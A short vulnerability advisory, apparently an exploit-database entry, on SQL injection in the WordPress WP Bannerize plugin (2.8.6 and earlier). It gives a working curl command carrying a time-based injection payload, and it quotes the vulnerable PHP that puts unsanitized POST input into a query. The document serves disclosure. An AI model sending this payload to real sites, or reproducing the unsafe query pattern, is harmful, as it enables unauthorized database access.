Wordpress Plugin Bannerize <= 2.8.6 - SQL Injection

# Exploit Title: WordPress WP Bannerize plugin &#60;= 2.8.6 SQL Injection Vulnerability # Date: 2011-08-31 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip # Version: 2.8.6 (tested) --- PoC --- curl --data &#34;id=-1 AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- &#34; -H &#34;X-Requested-With:XMLHttpRequest&#34; http://www.site.com/wp-content/plugins/wp-bannerize/ajax_clickcounter.php --------------- Vulnerable code --------------- if ( @isset($_SERVER[&#39;HTTP_X_REQUESTED_WITH&#39;]) ) { ... $sql = &#34;UPDATE `&#34; . $wpdb-&#62;prefix .&#34;bannerize_b` SET `clickcount` = `clickcount`+1 WHERE id = &#34; . $_POST[&#39;id&#39;]; $result = mysql_query($sql);